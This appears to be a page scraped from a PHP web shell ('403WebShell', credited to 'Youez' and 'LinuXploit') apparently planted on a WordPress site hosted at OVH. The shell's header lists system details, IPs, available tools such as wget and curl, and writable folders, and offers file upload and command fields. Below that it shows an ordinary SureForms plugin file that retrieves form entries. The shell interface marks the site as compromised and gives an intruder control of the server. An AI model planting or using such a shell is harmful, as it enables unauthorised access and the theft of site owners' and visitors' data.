Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/plugins/sureforms/inc/abilities/entries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/plugins/sureforms/inc/abilities/entries/get-entry.php
<?php
/**
 * Get Entry Ability.
 *
 * @package sureforms
 * @since 2.5.2
 */

namespace SRFM\Inc\Abilities\Entries;

use SRFM\Inc\Abilities\Abstract_Ability;
use SRFM\Inc\Database\Tables\Entries as EntriesTable;
use SRFM\Inc\Helper;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Get_Entry ability class.
 *
 * Retrieves detailed information about a specific form submission entry,
 * including parsed form data with decrypted labels.
 *
 * @since 2.5.2
 */
class Get_Entry extends Abstract_Ability {
	use Entry_Parser;

	/**
	 * Constructor.
	 *
	 * @since 2.5.2
	 */
	public function __construct() {
		$this->id          = 'sureforms/get-entry';
		$this->label       = __( 'Get Entry Details', 'sureforms' );
		$this->description = __( 'Retrieve detailed information about a specific SureForms form submission entry, including all submitted field data with labels.', 'sureforms' );
		$this->capability  = 'manage_options';
	}

	/**
	 * {@inheritDoc}
	 *
	 * @since 2.5.2
	 */
	public function get_annotations() {
		return [
			'readonly'      => true,
			'destructive'   => false,
			'idempotent'    => true,
			'priority'      => 1.0,
			'openWorldHint' => false,
		];
	}

	/**
	 * {@inheritDoc}
	 *
	 * @since 2.5.2
	 */
	public function get_input_schema() {
		return [
			'type'                 => 'object',
			'additionalProperties' => false,
			'properties'           => [
				'entry_id' => [
					'type'        => 'integer',
					'description' => __( 'The ID of the entry to retrieve.', 'sureforms' ),
				],
			],
			'required'             => [ 'entry_id' ],
		];
	}

	/**
	 * {@inheritDoc}
	 *
	 * @since 2.5.2
	 */
	public function get_output_schema() {
		return [
			'type'       => 'object',
			'properties' => [
				'id'              => [ 'type' => 'integer' ],
				'form_id'         => [ 'type' => 'integer' ],
				'form_name'       => [ 'type' => 'string' ],
				'status'          => [ 'type' => 'string' ],
				'created_at'      => [ 'type' => 'string' ],
				'form_data'       => [
					'type'  => 'array',
					'items' => [
						'type'       => 'object',
						'properties' => [
							'label'      => [ 'type' => 'string' ],
							'value'      => [],
							'block_name' => [ 'type' => 'string' ],
						],
					],
				],
				'submission_info' => [ 'type' => 'object' ],
				'user'            => [ 'type' => [ 'object', 'null' ] ],
			],
		];
	}

	/**
	 * Execute the get-entry ability.
	 *
	 * @param array<string,mixed> $input Validated input data.
	 * @since 2.5.2
	 * @return array<string,mixed>|\WP_Error
	 */
	public function execute( $input ) {
		$entry_id = Helper::get_integer_value( $input['entry_id'] ?? 0 );
		$entry    = EntriesTable::get( $entry_id );

		if ( empty( $entry ) ) {
			return new \WP_Error(
				'srfm_entry_not_found',
				__( 'Entry not found.', 'sureforms' ),
				[ 'status' => 404 ]
			);
		}

		$parsed = $this->parse_entry( $entry );

		return array_merge( [ 'id' => $entry_id ], $parsed );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit